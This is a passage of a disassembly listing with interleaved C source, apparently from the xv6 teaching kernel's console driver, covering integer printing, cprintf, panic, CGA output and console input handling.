801002f0: c3 ret
801002f1 <printint>:
int locking;
} cons;
static void
printint(int xx, int base, int sign)
{
801002f1: 55 push %ebp
801002f2: 89 e5 mov %esp,%ebp
801002f4: 56 push %esi
801002f5: 53 push %ebx
801002f6: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789abcdef";
char buf[16];
int i;
uint x;
if(sign && (sign = xx < 0))
801002f9: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801002fd: 74 1c je 8010031b <printint+0x2a>
801002ff: 8b 45 08 mov 0x8(%ebp),%eax
80100302: c1 e8 1f shr $0x1f,%eax
80100305: 0f b6 c0 movzbl %al,%eax
80100308: 89 45 10 mov %eax,0x10(%ebp)
8010030b: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010030f: 74 0a je 8010031b <printint+0x2a>
x = -xx;
80100311: 8b 45 08 mov 0x8(%ebp),%eax
80100314: f7 d8 neg %eax
80100316: 89 45 f0 mov %eax,-0x10(%ebp)
80100319: eb 06 jmp 80100321 <printint+0x30>
else
x = xx;
8010031b: 8b 45 08 mov 0x8(%ebp),%eax
8010031e: 89 45 f0 mov %eax,-0x10(%ebp)
i = 0;
80100321: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
80100328: 8b 4d f4 mov -0xc(%ebp),%ecx
8010032b: 8d 41 01 lea 0x1(%ecx),%eax
8010032e: 89 45 f4 mov %eax,-0xc(%ebp)
80100331: 8b 5d 0c mov 0xc(%ebp),%ebx
80100334: 8b 45 f0 mov -0x10(%ebp),%eax
80100337: ba 00 00 00 00 mov $0x0,%edx
8010033c: f7 f3 div %ebx
8010033e: 89 d0 mov %edx,%eax
80100340: 0f b6 80 04 90 10 80 movzbl -0x7fef6ffc(%eax),%eax
80100347: 88 44 0d e0 mov %al,-0x20(%ebp,%ecx,1)
}while((x /= base) != 0);
8010034b: 8b 75 0c mov 0xc(%ebp),%esi
8010034e: 8b 45 f0 mov -0x10(%ebp),%eax
80100351: ba 00 00 00 00 mov $0x0,%edx
80100356: f7 f6 div %esi
80100358: 89 45 f0 mov %eax,-0x10(%ebp)
8010035b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010035f: 75 c7 jne 80100328 <printint+0x37>
if(sign)
80100361: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80100365: 74 10 je 80100377 <printint+0x86>
buf[i++] = '-';
80100367: 8b 45 f4 mov -0xc(%ebp),%eax
8010036a: 8d 50 01 lea 0x1(%eax),%edx
8010036d: 89 55 f4 mov %edx,-0xc(%ebp)
80100370: c6 44 05 e0 2d movb $0x2d,-0x20(%ebp,%eax,1)
while(--i >= 0)
80100375: eb 18 jmp 8010038f <printint+0x9e>
80100377: eb 16 jmp 8010038f <printint+0x9e>
consputc(buf[i]);
80100379: 8d 55 e0 lea -0x20(%ebp),%edx
8010037c: 8b 45 f4 mov -0xc(%ebp),%eax
8010037f: 01 d0 add %edx,%eax
80100381: 0f b6 00 movzbl (%eax),%eax
80100384: 0f be c0 movsbl %al,%eax
80100387: 89 04 24 mov %eax,(%esp)
8010038a: e8 c1 03 00 00 call 80100750 <consputc>
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
8010038f: 83 6d f4 01 subl $0x1,-0xc(%ebp)
80100393: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100397: 79 e0 jns 80100379 <printint+0x88>
consputc(buf[i]);
}
80100399: 83 c4 30 add $0x30,%esp
8010039c: 5b pop %ebx
8010039d: 5e pop %esi
8010039e: 5d pop %ebp
8010039f: c3 ret
801003a0 <cprintf>:
//PAGEBREAK: 50
// Print to the console. only understands %d, %x, %p, %s.
void
cprintf(char *fmt, ...)
{
801003a0: 55 push %ebp
801003a1: 89 e5 mov %esp,%ebp
801003a3: 83 ec 38 sub $0x38,%esp
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
801003a6: a1 f4 b5 10 80 mov 0x8010b5f4,%eax
801003ab: 89 45 e8 mov %eax,-0x18(%ebp)
if(locking)
801003ae: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801003b2: 74 0c je 801003c0 <cprintf+0x20>
acquire(&cons.lock);
801003b4: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
801003bb: e8 51 4a 00 00 call 80104e11 <acquire>
if (fmt == 0)
801003c0: 8b 45 08 mov 0x8(%ebp),%eax
801003c3: 85 c0 test %eax,%eax
801003c5: 75 0c jne 801003d3 <cprintf+0x33>
panic("null fmt");
801003c7: c7 04 24 ca 86 10 80 movl $0x801086ca,(%esp)
801003ce: e8 67 01 00 00 call 8010053a <panic>
argp = (uint*)(void*)(&fmt + 1);
801003d3: 8d 45 0c lea 0xc(%ebp),%eax
801003d6: 89 45 f0 mov %eax,-0x10(%ebp)
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801003d9: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801003e0: e9 21 01 00 00 jmp 80100506 <cprintf+0x166>
if(c != '%'){
801003e5: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
801003e9: 74 10 je 801003fb <cprintf+0x5b>
consputc(c);
801003eb: 8b 45 e4 mov -0x1c(%ebp),%eax
801003ee: 89 04 24 mov %eax,(%esp)
801003f1: e8 5a 03 00 00 call 80100750 <consputc>
continue;
801003f6: e9 07 01 00 00 jmp 80100502 <cprintf+0x162>
}
c = fmt[++i] & 0xff;
801003fb: 8b 55 08 mov 0x8(%ebp),%edx
801003fe: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100402: 8b 45 f4 mov -0xc(%ebp),%eax
80100405: 01 d0 add %edx,%eax
80100407: 0f b6 00 movzbl (%eax),%eax
8010040a: 0f be c0 movsbl %al,%eax
8010040d: 25 ff 00 00 00 and $0xff,%eax
80100412: 89 45 e4 mov %eax,-0x1c(%ebp)
if(c == 0)
80100415: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
80100419: 75 05 jne 80100420 <cprintf+0x80>
break;
8010041b: e9 06 01 00 00 jmp 80100526 <cprintf+0x186>
switch(c){
80100420: 8b 45 e4 mov -0x1c(%ebp),%eax
80100423: 83 f8 70 cmp $0x70,%eax
80100426: 74 4f je 80100477 <cprintf+0xd7>
80100428: 83 f8 70 cmp $0x70,%eax
8010042b: 7f 13 jg 80100440 <cprintf+0xa0>
8010042d: 83 f8 25 cmp $0x25,%eax
80100430: 0f 84 a6 00 00 00 je 801004dc <cprintf+0x13c>
80100436: 83 f8 64 cmp $0x64,%eax
80100439: 74 14 je 8010044f <cprintf+0xaf>
8010043b: e9 aa 00 00 00 jmp 801004ea <cprintf+0x14a>
80100440: 83 f8 73 cmp $0x73,%eax
80100443: 74 57 je 8010049c <cprintf+0xfc>
80100445: 83 f8 78 cmp $0x78,%eax
80100448: 74 2d je 80100477 <cprintf+0xd7>
8010044a: e9 9b 00 00 00 jmp 801004ea <cprintf+0x14a>
case 'd':
printint(*argp++, 10, 1);
8010044f: 8b 45 f0 mov -0x10(%ebp),%eax
80100452: 8d 50 04 lea 0x4(%eax),%edx
80100455: 89 55 f0 mov %edx,-0x10(%ebp)
80100458: 8b 00 mov (%eax),%eax
8010045a: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
80100461: 00
80100462: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80100469: 00
8010046a: 89 04 24 mov %eax,(%esp)
8010046d: e8 7f fe ff ff call 801002f1 <printint>
break;
80100472: e9 8b 00 00 00 jmp 80100502 <cprintf+0x162>
case 'x':
case 'p':
printint(*argp++, 16, 0);
80100477: 8b 45 f0 mov -0x10(%ebp),%eax
8010047a: 8d 50 04 lea 0x4(%eax),%edx
8010047d: 89 55 f0 mov %edx,-0x10(%ebp)
80100480: 8b 00 mov (%eax),%eax
80100482: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80100489: 00
8010048a: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp)
80100491: 00
80100492: 89 04 24 mov %eax,(%esp)
80100495: e8 57 fe ff ff call 801002f1 <printint>
break;
8010049a: eb 66 jmp 80100502 <cprintf+0x162>
case 's':
if((s = (char*)*argp++) == 0)
8010049c: 8b 45 f0 mov -0x10(%ebp),%eax
8010049f: 8d 50 04 lea 0x4(%eax),%edx
801004a2: 89 55 f0 mov %edx,-0x10(%ebp)
801004a5: 8b 00 mov (%eax),%eax
801004a7: 89 45 ec mov %eax,-0x14(%ebp)
801004aa: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
801004ae: 75 09 jne 801004b9 <cprintf+0x119>
s = "(null)";
801004b0: c7 45 ec d3 86 10 80 movl $0x801086d3,-0x14(%ebp)
for(; *s; s++)
801004b7: eb 17 jmp 801004d0 <cprintf+0x130>
801004b9: eb 15 jmp 801004d0 <cprintf+0x130>
consputc(*s);
801004bb: 8b 45 ec mov -0x14(%ebp),%eax
801004be: 0f b6 00 movzbl (%eax),%eax
801004c1: 0f be c0 movsbl %al,%eax
801004c4: 89 04 24 mov %eax,(%esp)
801004c7: e8 84 02 00 00 call 80100750 <consputc>
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
s = "(null)";
for(; *s; s++)
801004cc: 83 45 ec 01 addl $0x1,-0x14(%ebp)
801004d0: 8b 45 ec mov -0x14(%ebp),%eax
801004d3: 0f b6 00 movzbl (%eax),%eax
801004d6: 84 c0 test %al,%al
801004d8: 75 e1 jne 801004bb <cprintf+0x11b>
consputc(*s);
break;
801004da: eb 26 jmp 80100502 <cprintf+0x162>
case '%':
consputc('%');
801004dc: c7 04 24 25 00 00 00 movl $0x25,(%esp)
801004e3: e8 68 02 00 00 call 80100750 <consputc>
break;
801004e8: eb 18 jmp 80100502 <cprintf+0x162>
default:
// Print unknown % sequence to draw attention.
consputc('%');
801004ea: c7 04 24 25 00 00 00 movl $0x25,(%esp)
801004f1: e8 5a 02 00 00 call 80100750 <consputc>
consputc(c);
801004f6: 8b 45 e4 mov -0x1c(%ebp),%eax
801004f9: 89 04 24 mov %eax,(%esp)
801004fc: e8 4f 02 00 00 call 80100750 <consputc>
break;
80100501: 90 nop
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100502: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80100506: 8b 55 08 mov 0x8(%ebp),%edx
80100509: 8b 45 f4 mov -0xc(%ebp),%eax
8010050c: 01 d0 add %edx,%eax
8010050e: 0f b6 00 movzbl (%eax),%eax
80100511: 0f be c0 movsbl %al,%eax
80100514: 25 ff 00 00 00 and $0xff,%eax
80100519: 89 45 e4 mov %eax,-0x1c(%ebp)
8010051c: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
80100520: 0f 85 bf fe ff ff jne 801003e5 <cprintf+0x45>
consputc(c);
break;
}
}
if(locking)
80100526: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
8010052a: 74 0c je 80100538 <cprintf+0x198>
release(&cons.lock);
8010052c: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100533: e8 3b 49 00 00 call 80104e73 <release>
}
80100538: c9 leave
80100539: c3 ret
8010053a <panic>:
void
panic(char *s)
{
8010053a: 55 push %ebp
8010053b: 89 e5 mov %esp,%ebp
8010053d: 83 ec 48 sub $0x48,%esp
int i;
uint pcs[10];
cli();
80100540: e8 a6 fd ff ff call 801002eb <cli>
cons.locking = 0;
80100545: c7 05 f4 b5 10 80 00 movl $0x0,0x8010b5f4
8010054c: 00 00 00
cprintf("cpu%d: panic: ", cpu->id);
8010054f: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80100555: 0f b6 00 movzbl (%eax),%eax
80100558: 0f b6 c0 movzbl %al,%eax
8010055b: 89 44 24 04 mov %eax,0x4(%esp)
8010055f: c7 04 24 da 86 10 80 movl $0x801086da,(%esp)
80100566: e8 35 fe ff ff call 801003a0 <cprintf>
cprintf(s);
8010056b: 8b 45 08 mov 0x8(%ebp),%eax
8010056e: 89 04 24 mov %eax,(%esp)
80100571: e8 2a fe ff ff call 801003a0 <cprintf>
cprintf("\n");
80100576: c7 04 24 e9 86 10 80 movl $0x801086e9,(%esp)
8010057d: e8 1e fe ff ff call 801003a0 <cprintf>
getcallerpcs(&s, pcs);
80100582: 8d 45 cc lea -0x34(%ebp),%eax
80100585: 89 44 24 04 mov %eax,0x4(%esp)
80100589: 8d 45 08 lea 0x8(%ebp),%eax
8010058c: 89 04 24 mov %eax,(%esp)
8010058f: e8 2e 49 00 00 call 80104ec2 <getcallerpcs>
for(i=0; i<10; i++)
80100594: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010059b: eb 1b jmp 801005b8 <panic+0x7e>
cprintf(" %p", pcs[i]);
8010059d: 8b 45 f4 mov -0xc(%ebp),%eax
801005a0: 8b 44 85 cc mov -0x34(%ebp,%eax,4),%eax
801005a4: 89 44 24 04 mov %eax,0x4(%esp)
801005a8: c7 04 24 eb 86 10 80 movl $0x801086eb,(%esp)
801005af: e8 ec fd ff ff call 801003a0 <cprintf>
cons.locking = 0;
cprintf("cpu%d: panic: ", cpu->id);
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
for(i=0; i<10; i++)
801005b4: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801005b8: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
801005bc: 7e df jle 8010059d <panic+0x63>
cprintf(" %p", pcs[i]);
panicked = 1; // freeze other CPU
801005be: c7 05 a0 b5 10 80 01 movl $0x1,0x8010b5a0
801005c5: 00 00 00
for(;;)
;
801005c8: eb fe jmp 801005c8 <panic+0x8e>
801005ca <cgaputc>:
#define CRTPORT 0x3d4
static ushort *crt = (ushort*)P2V(0xb8000); // CGA memory
static void
cgaputc(int c)
{
801005ca: 55 push %ebp
801005cb: 89 e5 mov %esp,%ebp
801005cd: 83 ec 28 sub $0x28,%esp
int pos;
// Cursor position: col + 80*row.
outb(CRTPORT, 14);
801005d0: c7 44 24 04 0e 00 00 movl $0xe,0x4(%esp)
801005d7: 00
801005d8: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
801005df: e8 e9 fc ff ff call 801002cd <outb>
pos = inb(CRTPORT+1) << 8;
801005e4: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
801005eb: e8 c0 fc ff ff call 801002b0 <inb>
801005f0: 0f b6 c0 movzbl %al,%eax
801005f3: c1 e0 08 shl $0x8,%eax
801005f6: 89 45 f4 mov %eax,-0xc(%ebp)
outb(CRTPORT, 15);
801005f9: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
80100600: 00
80100601: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
80100608: e8 c0 fc ff ff call 801002cd <outb>
pos |= inb(CRTPORT+1);
8010060d: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
80100614: e8 97 fc ff ff call 801002b0 <inb>
80100619: 0f b6 c0 movzbl %al,%eax
8010061c: 09 45 f4 or %eax,-0xc(%ebp)
if(c == '\n')
8010061f: 83 7d 08 0a cmpl $0xa,0x8(%ebp)
80100623: 75 30 jne 80100655 <cgaputc+0x8b>
pos += 80 - pos%80;
80100625: 8b 4d f4 mov -0xc(%ebp),%ecx
80100628: ba 67 66 66 66 mov $0x66666667,%edx
8010062d: 89 c8 mov %ecx,%eax
8010062f: f7 ea imul %edx
80100631: c1 fa 05 sar $0x5,%edx
80100634: 89 c8 mov %ecx,%eax
80100636: c1 f8 1f sar $0x1f,%eax
80100639: 29 c2 sub %eax,%edx
8010063b: 89 d0 mov %edx,%eax
8010063d: c1 e0 02 shl $0x2,%eax
80100640: 01 d0 add %edx,%eax
80100642: c1 e0 04 shl $0x4,%eax
80100645: 29 c1 sub %eax,%ecx
80100647: 89 ca mov %ecx,%edx
80100649: b8 50 00 00 00 mov $0x50,%eax
8010064e: 29 d0 sub %edx,%eax
80100650: 01 45 f4 add %eax,-0xc(%ebp)
80100653: eb 35 jmp 8010068a <cgaputc+0xc0>
else if(c == BACKSPACE){
80100655: 81 7d 08 00 01 00 00 cmpl $0x100,0x8(%ebp)
8010065c: 75 0c jne 8010066a <cgaputc+0xa0>
if(pos > 0) --pos;
8010065e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100662: 7e 26 jle 8010068a <cgaputc+0xc0>
80100664: 83 6d f4 01 subl $0x1,-0xc(%ebp)
80100668: eb 20 jmp 8010068a <cgaputc+0xc0>
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
8010066a: 8b 0d 00 90 10 80 mov 0x80109000,%ecx
80100670: 8b 45 f4 mov -0xc(%ebp),%eax
80100673: 8d 50 01 lea 0x1(%eax),%edx
80100676: 89 55 f4 mov %edx,-0xc(%ebp)
80100679: 01 c0 add %eax,%eax
8010067b: 8d 14 01 lea (%ecx,%eax,1),%edx
8010067e: 8b 45 08 mov 0x8(%ebp),%eax
80100681: 0f b6 c0 movzbl %al,%eax
80100684: 80 cc 07 or $0x7,%ah
80100687: 66 89 02 mov %ax,(%edx)
if((pos/80) >= 24){ // Scroll up.
8010068a: 81 7d f4 7f 07 00 00 cmpl $0x77f,-0xc(%ebp)
80100691: 7e 53 jle 801006e6 <cgaputc+0x11c>
memmove(crt, crt+80, sizeof(crt[0])*23*80);
80100693: a1 00 90 10 80 mov 0x80109000,%eax
80100698: 8d 90 a0 00 00 00 lea 0xa0(%eax),%edx
8010069e: a1 00 90 10 80 mov 0x80109000,%eax
801006a3: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp)
801006aa: 00
801006ab: 89 54 24 04 mov %edx,0x4(%esp)
801006af: 89 04 24 mov %eax,(%esp)
801006b2: e8 7d 4a 00 00 call 80105134 <memmove>
pos -= 80;
801006b7: 83 6d f4 50 subl $0x50,-0xc(%ebp)
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
801006bb: b8 80 07 00 00 mov $0x780,%eax
801006c0: 2b 45 f4 sub -0xc(%ebp),%eax
801006c3: 8d 14 00 lea (%eax,%eax,1),%edx
801006c6: a1 00 90 10 80 mov 0x80109000,%eax
801006cb: 8b 4d f4 mov -0xc(%ebp),%ecx
801006ce: 01 c9 add %ecx,%ecx
801006d0: 01 c8 add %ecx,%eax
801006d2: 89 54 24 08 mov %edx,0x8(%esp)
801006d6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801006dd: 00
801006de: 89 04 24 mov %eax,(%esp)
801006e1: e8 7f 49 00 00 call 80105065 <memset>
}
outb(CRTPORT, 14);
801006e6: c7 44 24 04 0e 00 00 movl $0xe,0x4(%esp)
801006ed: 00
801006ee: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
801006f5: e8 d3 fb ff ff call 801002cd <outb>
outb(CRTPORT+1, pos>>8);
801006fa: 8b 45 f4 mov -0xc(%ebp),%eax
801006fd: c1 f8 08 sar $0x8,%eax
80100700: 0f b6 c0 movzbl %al,%eax
80100703: 89 44 24 04 mov %eax,0x4(%esp)
80100707: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
8010070e: e8 ba fb ff ff call 801002cd <outb>
outb(CRTPORT, 15);
80100713: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp)
8010071a: 00
8010071b: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp)
80100722: e8 a6 fb ff ff call 801002cd <outb>
outb(CRTPORT+1, pos);
80100727: 8b 45 f4 mov -0xc(%ebp),%eax
8010072a: 0f b6 c0 movzbl %al,%eax
8010072d: 89 44 24 04 mov %eax,0x4(%esp)
80100731: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp)
80100738: e8 90 fb ff ff call 801002cd <outb>
crt[pos] = ' ' | 0x0700;
8010073d: a1 00 90 10 80 mov 0x80109000,%eax
80100742: 8b 55 f4 mov -0xc(%ebp),%edx
80100745: 01 d2 add %edx,%edx
80100747: 01 d0 add %edx,%eax
80100749: 66 c7 00 20 07 movw $0x720,(%eax)
}
8010074e: c9 leave
8010074f: c3 ret
80100750 <consputc>:
void
consputc(int c)
{
80100750: 55 push %ebp
80100751: 89 e5 mov %esp,%ebp
80100753: 83 ec 18 sub $0x18,%esp
if(panicked){
80100756: a1 a0 b5 10 80 mov 0x8010b5a0,%eax
8010075b: 85 c0 test %eax,%eax
8010075d: 74 07 je 80100766 <consputc+0x16>
cli();
8010075f: e8 87 fb ff ff call 801002eb <cli>
for(;;)
;
80100764: eb fe jmp 80100764 <consputc+0x14>
}
if(c == BACKSPACE){
80100766: 81 7d 08 00 01 00 00 cmpl $0x100,0x8(%ebp)
8010076d: 75 26 jne 80100795 <consputc+0x45>
uartputc('\b'); uartputc(' '); uartputc('\b');
8010076f: c7 04 24 08 00 00 00 movl $0x8,(%esp)
80100776: e8 c8 62 00 00 call 80106a43 <uartputc>
8010077b: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80100782: e8 bc 62 00 00 call 80106a43 <uartputc>
80100787: c7 04 24 08 00 00 00 movl $0x8,(%esp)
8010078e: e8 b0 62 00 00 call 80106a43 <uartputc>
80100793: eb 0b jmp 801007a0 <consputc+0x50>
} else
uartputc(c);
80100795: 8b 45 08 mov 0x8(%ebp),%eax
80100798: 89 04 24 mov %eax,(%esp)
8010079b: e8 a3 62 00 00 call 80106a43 <uartputc>
cgaputc(c);
801007a0: 8b 45 08 mov 0x8(%ebp),%eax
801007a3: 89 04 24 mov %eax,(%esp)
801007a6: e8 1f fe ff ff call 801005ca <cgaputc>
}
801007ab: c9 leave
801007ac: c3 ret
801007ad <consoleintr>:
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007ad: 55 push %ebp
801007ae: 89 e5 mov %esp,%ebp
801007b0: 83 ec 28 sub $0x28,%esp
int c;
acquire(&input.lock);
801007b3: c7 04 24 80 07 11 80 movl $0x80110780,(%esp)
801007ba: e8 52 46 00 00 call 80104e11 <acquire>
while((c = getc()) >= 0){
801007bf: e9 37 01 00 00 jmp 801008fb <consoleintr+0x14e>
switch(c){
801007c4: 8b 45 f4 mov -0xc(%ebp),%eax
801007c7: 83 f8 10 cmp $0x10,%eax
801007ca: 74 1e je 801007ea <consoleintr+0x3d>
801007cc: 83 f8 10 cmp $0x10,%eax
801007cf: 7f 0a jg 801007db <consoleintr+0x2e>
801007d1: 83 f8 08 cmp $0x8,%eax
801007d4: 74 64 je 8010083a <consoleintr+0x8d>
801007d6: e9 91 00 00 00 jmp 8010086c <consoleintr+0xbf>
801007db: 83 f8 15 cmp $0x15,%eax
801007de: 74 2f je 8010080f <consoleintr+0x62>
801007e0: 83 f8 7f cmp $0x7f,%eax
801007e3: 74 55 je 8010083a <consoleintr+0x8d>
801007e5: e9 82 00 00 00 jmp 8010086c <consoleintr+0xbf>
case C('P'): // Process listing.
procdump();
801007ea: e8 d4 44 00 00 call 80104cc3 <procdump>
break;
801007ef: e9 07 01 00 00 jmp 801008fb <consoleintr+0x14e>
case C('U'): // Kill line.
while(input.e != input.w &&
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
801007f4: a1 3c 08 11 80 mov 0x8011083c,%eax
801007f9: 83 e8 01 sub $0x1,%eax
801007fc: a3 3c 08 11 80 mov %eax,0x8011083c
consputc(BACKSPACE);
80100801: c7 04 24 00 01 00 00 movl $0x100,(%esp)
80100808: e8 43 ff ff ff call 80100750 <consputc>
8010080d: eb 01 jmp 80100810 <consoleintr+0x63>
switch(c){
case C('P'): // Process listing.
procdump();
break;
case C('U'): // Kill line.
while(input.e != input.w &&
8010080f: 90 nop
80100810: 8b 15 3c 08 11 80 mov 0x8011083c,%edx
80100816: a1 38 08 11 80 mov 0x80110838,%eax
8010081b: 39 c2 cmp %eax,%edx
8010081d: 74 16 je 80100835 <consoleintr+0x88>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
8010081f: a1 3c 08 11 80 mov 0x8011083c,%eax
80100824: 83 e8 01 sub $0x1,%eax
80100827: 83 e0 7f and $0x7f,%eax
8010082a: 0f b6 80 b4 07 11 80 movzbl -0x7feef84c(%eax),%eax
switch(c){
case C('P'): // Process listing.
procdump();
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100831: 3c 0a cmp $0xa,%al
80100833: 75 bf jne 801007f4 <consoleintr+0x47>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
consputc(BACKSPACE);
}
break;
80100835: e9 c1 00 00 00 jmp 801008fb <consoleintr+0x14e>
case C('H'): case '\x7f': // Backspace
if(input.e != input.w){
8010083a: 8b 15 3c 08 11 80 mov 0x8011083c,%edx
80100840: a1 38 08 11 80 mov 0x80110838,%eax
80100845: 39 c2 cmp %eax,%edx
80100847: 74 1e je 80100867 <consoleintr+0xba>
input.e--;
80100849: a1 3c 08 11 80 mov 0x8011083c,%eax
8010084e: 83 e8 01 sub $0x1,%eax
80100851: a3 3c 08 11 80 mov %eax,0x8011083c
consputc(BACKSPACE);
80100856: c7 04 24 00 01 00 00 movl $0x100,(%esp)
8010085d: e8 ee fe ff ff call 80100750 <consputc>
}
break;
80100862: e9 94 00 00 00 jmp 801008fb <consoleintr+0x14e>
80100867: e9 8f 00 00 00 jmp 801008fb <consoleintr+0x14e>
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
8010086c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100870: 0f 84 84 00 00 00 je 801008fa <consoleintr+0x14d>
80100876: 8b 15 3c 08 11 80 mov 0x8011083c,%edx
8010087c: a1 34 08 11 80 mov 0x80110834,%eax
80100881: 29 c2 sub %eax,%edx
80100883: 89 d0 mov %edx,%eax
80100885: 83 f8 7f cmp $0x7f,%eax
80100888: 77 70 ja 801008fa <consoleintr+0x14d>
c = (c == '\r') ? '\n' : c;
8010088a: 83 7d f4 0d cmpl $0xd,-0xc(%ebp)
8010088e: 74 05 je 80100895 <consoleintr+0xe8>
80100890: 8b 45 f4 mov -0xc(%ebp),%eax
80100893: eb 05 jmp 8010089a <consoleintr+0xed>
80100895: b8 0a 00 00 00 mov $0xa,%eax
8010089a: 89 45 f4 mov %eax,-0xc(%ebp)
input.buf[input.e++ % INPUT_BUF] = c;
8010089d: a1 3c 08 11 80 mov 0x8011083c,%eax
801008a2: 8d 50 01 lea 0x1(%eax),%edx
801008a5: 89 15 3c 08 11 80 mov %edx,0x8011083c
801008ab: 83 e0 7f and $0x7f,%eax
801008ae: 89 c2 mov %eax,%edx
801008b0: 8b 45 f4 mov -0xc(%ebp),%eax
801008b3: 88 82 b4 07 11 80 mov %al,-0x7feef84c(%edx)
consputc(c);
801008b9: 8b 45 f4 mov -0xc(%ebp),%eax
801008bc: 89 04 24 mov %eax,(%esp)
801008bf: e8 8c fe ff ff call 80100750 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
801008c4: 83 7d f4 0a cmpl $0xa,-0xc(%ebp)
801008c8: 74 18 je 801008e2 <consoleintr+0x135>
801008ca: 83 7d f4 04 cmpl $0x4,-0xc(%ebp)
801008ce: 74 12 je 801008e2 <consoleintr+0x135>
801008d0: a1 3c 08 11 80 mov 0x8011083c,%eax
801008d5: 8b 15 34 08 11 80 mov 0x80110834,%edx
801008db: 83 ea 80 sub $0xffffff80,%edx
801008de: 39 d0 cmp %edx,%eax
801008e0: 75 18 jne 801008fa <consoleintr+0x14d>
input.w = input.e;
801008e2: a1 3c 08 11 80 mov 0x8011083c,%eax
801008e7: a3 38 08 11 80 mov %eax,0x80110838
wakeup(&input.r);
801008ec: c7 04 24 34 08 11 80 movl $0x80110834,(%esp)
801008f3: e8 28 43 00 00 call 80104c20 <wakeup>
}
}
break;
801008f8: eb 00 jmp 801008fa <consoleintr+0x14d>
801008fa: 90 nop
consoleintr(int (*getc)(void))
{
int c;
acquire(&input.lock);
while((c = getc()) >= 0){
801008fb: 8b 45 08 mov 0x8(%ebp),%eax
801008fe: ff d0 call *%eax
80100900: 89 45 f4 mov %eax,-0xc(%ebp)
80100903: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80100907: 0f 89 b7 fe ff ff jns 801007c4 <consoleintr+0x17>
}
}
break;
}
}
release(&input.lock);
8010090d: c7 04 24 80 07 11 80 movl $0x80110780,(%esp)
80100914: e8 5a 45 00 00 call 80104e73 <release>
}
80100919: c9 leave
8010091a: c3 ret
8010091b <consoleread>:
int
consoleread(struct inode *ip, char *dst, int n)
{
8010091b: 55 push %ebp
8010091c: 89 e5 mov %esp,%ebp
8010091e: 83 ec 28 sub $0x28,%esp
uint target;
int c;
iunlock(ip);
80100921: 8b 45 08 mov 0x8(%ebp),%eax
80100924: 89 04 24 mov %eax,(%esp)
80100927: e8 7d 10 00 00 call 801019a9 <iunlock>
target = n;
8010092c: 8b 45 10 mov 0x10(%ebp),%eax
8010092f: 89 45 f4 mov %eax,-0xc(%ebp)
acquire(&input.lock);
80100932: c7 04 24 80 07 11 80 movl $0x80110780,(%esp)
80100939: e8 d3 44 00 00 call 80104e11 <acquire>
while(n > 0){
8010093e: e9 aa 00 00 00 jmp 801009ed <consoleread+0xd2>
while(input.r == input.w){
80100943: eb 42 jmp 80100987 <consoleread+0x6c>
if(proc->killed){
80100945: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010094b: 8b 40 24 mov 0x24(%eax),%eax
8010094e: 85 c0 test %eax,%eax
80100950: 74 21 je 80100973 <consoleread+0x58>
release(&input.lock);
80100952: c7 04 24 80 07 11 80 movl $0x80110780,(%esp)
80100959: e8 15 45 00 00 call 80104e73 <release>
ilock(ip);
8010095e: 8b 45 08 mov 0x8(%ebp),%eax
80100961: 89 04 24 mov %eax,(%esp)
